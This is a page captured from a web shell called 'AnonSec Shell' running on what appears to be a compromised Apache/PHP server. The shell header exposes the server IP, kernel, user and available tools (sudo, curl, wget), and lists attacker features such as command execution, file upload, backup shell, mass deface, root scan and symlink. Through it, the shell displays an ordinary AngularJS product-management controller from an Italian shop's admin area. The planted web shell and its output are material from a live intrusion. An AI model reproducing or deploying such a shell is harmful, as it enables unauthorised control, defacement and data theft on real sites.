. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.6.220   [ Reverse IP ]
Web Server : Apache/2.4.66 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-81.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/ripara.co/admin/js/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/ripara.co/admin/js/controllers/prodottivendita.js
materialAdmin
    

    //=================================================
    // Controller Lista Utenti e Inserimento Utente
    //=================================================

.controller('prodottoVenditaCtrl', function($filter, $sce, $scope, ngTableParams, tableService, APIService, animationService, $location, $anchorScroll ) {
       
this.animationService = animationService;

$scope.elencoCampi=['Nome','Codice','Disponibilità', 'Categoria','Prezzo', 'Sconto', 'Foto',  'Prezzo Spedizione'];
$scope.elencoChiavi = ['nome','codice', 'idstato', 'idcategoria', 'prezzo', 'sconto', 'foto',  'costospedizione'];
//questa funzione fixa il problema delle chiavi con spazi o caratteri speciali nell'ordinamento delle tabelle
//utile per le alias colonne es. Numero Chiamante


    this.cancellaFotoInsert = function(x){
        for (var i = 0; i < $scope.provenctrl.prodottoInsert.foto.length; i++) {
            if($scope.provenctrl.prodottoInsert.foto[i].filename == x.filename){
                $scope.provenctrl.prodottoInsert.foto.splice(i,1);
            }
        }
    }

    this.cancellaFotoInsert_server = function(x, id){
        var toSend = {};
        toSend.method = "deletefotoprodottovendita";
        toSend.filename = x;
        toSend.idprodotto = id;

        
        APIService.async(toSend).then(function(adata) {
            if(adata.status){
                for (var i = 0; i < $scope.provenctrl.prodottoInsert.foto_server.length; i++) {
                    if($scope.provenctrl.prodottoInsert.foto_server[i] == x){
                        $scope.provenctrl.prodottoInsert.foto_server.splice(i,1);
                    }
                }
                $scope.provenctrl.getData();
                swal("Foto rimossa",adata.message, "success");
            }else{
                $scope.provenctrl.animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di aggiornamento dei dati, si prega di aggiornare la pagina!");
            }
        });

    }

    this.getStati = function() {
                APIService.async({
                    "method": "getstati"
                }).then(
                    function(adata) {
                        if (adata.status) {
                             $scope.provenctrl.stati = adata.message;
                            
                        } else {
                            $scope.provenctrl.stati = [];
                        }
                    }
                );
            }

    this.getCategorieProdotto = function() {
        APIService.async({
            "method": "getcategorievendita"
        }).then(
            function(adata) {
                if (adata.status) {
                     $scope.provenctrl.categorie= adata.message;
                    
                } else {
                    $scope.provenctrl.categorie = [];
                }
            }
        );
    }

    
    this.initVar = function(){
        this.prodottoInsert = {
            quantita:1,
            prezzo:0
        }
    }

    $scope.tmpSrc = {};
        //Caricament dati da API REST
        this.getData = function (){

            APIService.async({method: "getprodottivendita"}).then(function(adata) {

                if(adata.status && adata.message.length){

                    //assegno i dati ricevuti a data
                    var data = adata.message;
                    for (var i = 0; i < data.length; i++) {
                        try{
                            data[i].foto = JSON.parse(data[i].foto);
                        }catch(e){}
                    }
                    //aggiorno la variabile per ng-repeat della tabella
                    $scope.provenctrl.data = data;
                    //instanzio la ng-table
                    $scope.provenctrl.tableProdotti = new ngTableParams({
                        page: 1,            // show first page
                        count: 10
                    }, 
                    {
                        total: data.length,// $scope.data.length, // length of data
                        getData: function($defer, params) {
                        //controllo se esisteno paramentri che si chiamamo orderby, all'onclick ordino per quel campo
                        if (params.sorting()['orderBy'] != undefined) {
                            //aggiungo la substr perchè il primo carattere viene messo random, altrimenti ordinerebbe sempre DESC visto che se è ordinata per una qualsiasi colonna non fa più ordinare per la stessa
                            var orderedData = $filter('orderBy')(data, $scope.rawProperty(params.sorting()['orderBy'].substr(1)),
                                $scope.provenctrl.isSortBy);
                            $scope.provenctrl.isSortBy = !$scope.provenctrl.isSortBy;
                            //ok ma non funziona con le key con spazi o punti
                            //var orderedData = $filter('orderBy')(data, params.sorting()['orderBy']);
                        } else {
                            var orderedData = data;
                        }
                        //verifico se sono definiti filtri
                        //orderedData = $filter('filterFailed')(orderedData, $scope.showOnlyFailed);
                        if (params.sorting()['filter'] != undefined) {
                            var chiave = params.sorting()['filter'].key;
                            var value = params.sorting()['filter'].value;
                                                    
                        //    $scope.tmpSrc[modello] = value;
                            $scope.tmpSrc[chiave] = value;
                            console.log(chiave + "|||||" +value);
                            orderedData = $filter('filter')(orderedData, $scope.tmpSrc);
                        }
                        params.total(orderedData.length); // set total for recalc pagination
                        $defer.resolve(orderedData.slice((params.page() - 1) * params.count(), params.page() * params.count()));
                    }
                });
               
                }else{
                    
                    animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di carimento dei dati, si prega di aggiornare la pagina!");

                }

            });
        };

        this.getData();
        




//INSERT
    this.submitProdottoVendita = function() {   
        var toSend = angular.copy(this.prodottoInsert);
        toSend.method = "insertprodottovendita";
        toSend.foto = JSON.stringify(toSend.foto);

        debugger;
        APIService.async(toSend).then(function(adata) {
            if(adata.status){
                $scope.provenctrl.newProdottoVendita = 0;
                $scope.provenctrl.startProdotto();
                $scope.provenctrl.getData();
                
                
                swal("Prodotto Inserito",adata.message, "success");
        
            }else{
                $scope.provenctrl.animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di aggiornamento dei dati, si prega di aggiornare la pagina!");
            }
        });
    }

//UPDATE
    this.modificaProdottoVendita = function () {
        var toSend = angular.copy(this.prodottoInsert);
        toSend.method = "updateprodottovendita";
        toSend.foto = JSON.stringify(toSend.foto);
        debugger;

        if(toSend.attivo){
            toSend.attivo = 1;
        }else{
            toSend.attivo=0;
        }

        APIService.async(toSend).then(function(adati) { 
            if(adati.status){
                $scope.provenctrl.editProdottoVendita = 0;
                $scope.provenctrl.startProdotto();
                $scope.provenctrl.getData();
                
                swal("Prodotto Modificato",adati.message, "success");
            }else{
                $scope.provenctrl.animationService.setAnimationJam("bounceInDown", "alert-red", false, adati.message);
            }
        });
    }
//DELETE


    this.parsePrezzo = function(x){
        return x.split(".").join(",");
    }

    this.cancellaProdottoVendita = function (dati) {
        swal({   
                title: "Sei sicuro di voler cancellare il prodotto?",   
                text: "L'azione eseguita sarà irreversibile!",   
                type: "warning",   
                showCancelButton: true,   
                confirmButtonColor: "#DD6B55",   
                confirmButtonText: "Si, cancellalo!",   
                closeOnConfirm: false 
            }, function(){   

                dati.$edit = false;
                dati.method = "deleteprodottovendita"; 
                APIService.async(dati).then(function(adati) { 
                    if(adati.status){
                        swal(adati.message, "Prodotto eliminato con successo!", "success");
                        $scope.provenctrl.getData();
                    }else{
                        $scope.provenctrl.animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di aggiornamento dei dati, si prega di aggiornare la pagina!");
                    }
                });

            });



        
    }

       
//FUNZIONI AUSILIARIE
    $scope.gotoBottom = function() {
        $location.hash('top');
        $anchorScroll();
    };

    $scope.rawProperty = function(key) {
        return function(item) {
            if ((key == "EndTime" || key == "StartTime" || key == "AnswerTime" || key == "AlertingTime")) {
                return item[key]['sec'];
                }
            return item[key];
        };
    };


$scope.bindFile = function (ele) {
    debugger;
   
    $scope.provenctrl.prodottoInsert.upload=ele.files[0];
}
   
$scope.editProdottoVendita = function(w){debugger;

    $scope.provenctrl.prodottoInsert = angular.copy(w);


    if($scope.provenctrl.prodottoInsert.attivo==1){
        $scope.provenctrl.prodottoInsert.attivo = true;
    }else{
        $scope.provenctrl.prodottoInsert.attivo=false;
    }

    $scope.provenctrl.prodottoInsert.prezzo = parseFloat($scope.provenctrl.prodottoInsert.prezzo);
    $scope.provenctrl.prodottoInsert.quantita = parseInt($scope.provenctrl.prodottoInsert.quantita);
    $scope.provenctrl.prodottoInsert.sconto = parseInt($scope.provenctrl.prodottoInsert.sconto);

  /* if($scope.provenctrl.prodottoInsert.prezzo.indexOf(".")>-1){
        $scope.provenctrl.prodottoInsert.prezzo = $scope.provenctrl.prodottoInsert.prezzo.split(".").join(",");
    }*/
    
    //B = Object.assign( $scope.provenctrl.prodottoInsert, w);

    $scope.provenctrl.editProdottoVendita = 1;

}

//CARICAMENTO INIZIALE

this.startProdotto = function() {
        this.prodottoInsert = {
            'idprodotto': '',
            'nome':'',
            'prezzo': '',
            'descrizione':'',
            'foto':'',
            'idstato':'',
            'costospedizione':0,
            'tipoprodotto':'',
            'idcategoria':'',
            'upload':null,
            'attivo':true,
            'sconto':0,
            'quantita':1,
            };
    }

this.startProdotto();
this.newProdottoVendita = 0;
this.getCategorieProdotto();
this.getStati();

    })

  

Anon7 - 2022
AnonSec Team